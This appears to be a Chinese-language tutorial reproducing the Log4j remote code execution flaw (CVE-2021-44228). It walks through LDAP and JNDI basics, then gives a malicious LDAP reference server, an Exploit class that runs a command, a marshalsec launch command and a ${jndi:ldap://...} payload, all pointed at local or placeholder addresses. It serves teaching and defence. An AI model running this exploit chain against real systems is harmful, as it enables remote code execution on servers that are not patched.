Log4j RCE (CVE-2021-44228)
- CVE-2021-44228 远程代码执行 --> 2.15.0 修复
- CVE-2021-45046 拒绝服务漏洞 --> 2.16.0 修复
- CVE-2021-45105 拒绝服务漏洞 --> 2.17.0 修复
- CVE-2021-44832 远程代码执行 --> 2.17.1 修复
Log4j 介绍与漏洞影响
Log4j 是 log for java 的简写,是 Apache 的开源日志记录组件。
Log4j 的使用方式非常简单:
-
pox.xml
中引入log4j
依赖<!-- log4j --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency>
-
获得
logger
实例private static final Logger logger = LogManager.getLogger(Log4JTest.class);
-
使用
logger
实例记录日志logger.info("hello log4j"); logger.warn("warning ... "); logger.debug("debugging ..."); logger.error("${java:runtime} - ${java:vm} - ${java:os");
-
log4j
配置文件,默认加载resource/log4j2.xml
(待补充)<?xml version="1.0" encoding="UTF-8"?> <Configuration status="OFF" monitorInterval="30"> <appenders> <console name="CONSOLE" target="SYSTEM_OUT"> <PatternLayout pattern="%msg{lookups}%n"/> </console> </appenders> <Loggers> <Root level="error"> <AppenderRef ref="CONSOLE"/> </Root> </Loggers> </Configuration>
什么是 LDAP
LDAP 实现统一登录
统一登录就是建立一个能够服务于所有应用系统的统一的身份认证系统,每个应用系统都通过该认证系统来进行用户的身份认证,而不用再单独开发各自的用户认证模块。
-
pox.xml
中引入ldap
服务端依赖<!-- ldap --> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>6.0.3</version> </dependency>
-
创建
LDAP
服务端package com.example.demo.ldap; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; /** * LDAP 服务端 */ public class LDAPSeriServer { public static final String LDAP_BASE = "dc=example, dc=com"; public static void main(String[] args) { int port = 7389; // ldap 默认端口 389 try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); // 添加三条数据到 LDAP 目录服务器 ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectClass: domain"); ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top"); ds.add("dn: " + "uid=xxxx,ou=employees,dc=example,dc=com", "objectClass: exportObject"); System.out.println("Listening on 0.0.0.0: " + port); ds.startListening(); }catch (Exception e){ } } }
-
创建
LDAP
客户端package com.example.demo.ldap; import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient { public static void main(String[] args) throws NamingException { Context ct = new InitialContext(); // lookup 方法在 LDAP 目录数据库中查找一条数据 Object lookup = ct.lookup("ldap://127.0.0.1:7389/uid=xxxx,ou=employees,dc=example,dc=com"); System.out.println(lookup); } }
什么是 JNDI
JNDI 的使用
-
发布服务(名字和资源的映射关系)
-
创建
JNDI
客户端查找资源
JNDI 与 LDAP 的关系
${jndi:ldap://example.com:1234/test}
通过名字(jndi
),查找(lookup
) LDAP 的服务(ldap://example.com:1234
),获取 LDAP 中存储的资源(/test
)
通过 JNDI 查找 LDAP 服务实例
-
启动 LDAP 服务服务端(还使用上步中端口为 7389 的服务端)
-
创建 JNDI 客户端
package com.example.demo.jndi; import javax.naming.Context; import javax.naming.NamingEnumeration; import javax.naming.NamingException; import javax.naming.directory.DirContext; import javax.naming.directory.InitialDirContext; import javax.naming.directory.SearchControls; import javax.naming.directory.SearchResult; import java.util.Hashtable; public class JNDIClient { public static void main(String[] args) throws NamingException { Hashtable<String, Object> env = new Hashtable<>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory"); env.put(Context.PROVIDER_URL, "ldap://localhost:7389/dc=example,dc=com"); DirContext ctx = new InitialDirContext(env); SearchControls searchControls = new SearchControls(); searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE); searchControls.setCountLimit(10); NamingEnumeration<SearchResult> namingEnumeration = ctx.search("", "(uid=*)", new Object[]{}, searchControls); // 通过名称查找远程对象,假设远程服务器已经将一个远程对象绑定了 ctx.lookup("ldap://localhost:7389/ou=employees,dc=example,dc=com"); while (namingEnumeration.hasMore()){ SearchResult sr = namingEnumeration.next(); System.out.println("DN: " + sr.getName()); System.out.println(sr.getAttributes().get("uid")); } ctx.close(); } }
-
运行,查看访问结果
DN: uid=xxxx,ou=employees uid: xxxx
什么是 JNDI 注入?
JNDI Naming Reference
-
在 LDAP 里面可以存储一个外部资源,叫做命名引用,对应
Reference
类。(比如: 远程 HTTP 服务的一个Exploit.class
文件)package com.example.demo.ldap; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import javax.swing.text.html.parser.Entity; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; /** * LDAP 服务端 */ public class LDAPRefServer { public static final String LDAP_BASE = "dc=example, dc=com"; public static final String EXPLOIT_CLASS_URL = "http://192.168.xxx.xxx/#Exploit"; // #Exploit 代替 Exploit.class public static void main(String[] args) { int port = 7389; // ldap 默认端口 389 try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); /* 指定 EXPLOIT_CLASS_URL, OperationInterceptor 实现 InMemoryOperationInterceptor 抽象类 */ config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)) ); config.setSchema(null); config.setEnforceAttributeSyntaxCompliance(false); config.setEnforceSingleStructuralObjectClass(false); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0: " + port); ds.startListening(); }catch (Exception e){ } } /** * OperationInterceptor 实现 InMemoryOperationInterceptor 抽象类 */ private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; private OperationInterceptor(URL url) { this.codebase = url; } @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); }catch (Exception ex){ } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws MalformedURLException, LDAPException { URL url = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + url); e.addAttribute("javaClassName", "Calc"); String cbString = this.codebase.toString(); int refPos = cbString.indexOf('#'); if (refPos > 0){ cbString = cbString.substring(0, refPos); } e.addAttribute("javaCodeBase", cbString); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
-
如果 JNDI 客户端,在 LDAP 服务中找不到对应的资源时,就会去指定的地址(如上代码中的
EXPLOIT_CLASS_URL
)请求。如果是命名引用,就会将这个文件(Exploit.class
)下载到本地 -
如果下载的
.class
文件包含无参构造函数或静态方法块,加载的时候就会自动执行,从而产生注入漏洞。public class Expoit { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { } } }
Log4j RCE 漏洞复现
环境准备
- 基础开发环境
- JDK 1.8.191 以下
- 远程代码
Exploit.class
恶意文件- HTTP 服务器
- LDAP 服务端
- 本地启动。同上(需要将远程地址配置在服务端代码中)
- 远程启动。
可以借用marshalsec
在远程服务器启动一个 LDAP 服务(远程地址作为参数配置在命令中)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.xxx.xxx:80/#Exploit 7389
- LDAP 客户端(Log4j 利用)
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4JTest { private static final Logger logger = LogManager.getLogger(Log4JTest.class); public static void main(String[] args) { logger.error("${jndi:ldap://127.0.0.1:7389/test}"); } }
Log4j RCE 漏洞原理分析
log4j 使用手册中的 Lookups
,参考地址: https://logging.apache.org/log4j/2.x/manual/lookups.html
官网描述:
官网描述:
The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.
The JNDI Lookup only supports the java protocol or no protocol (as shown in the example below).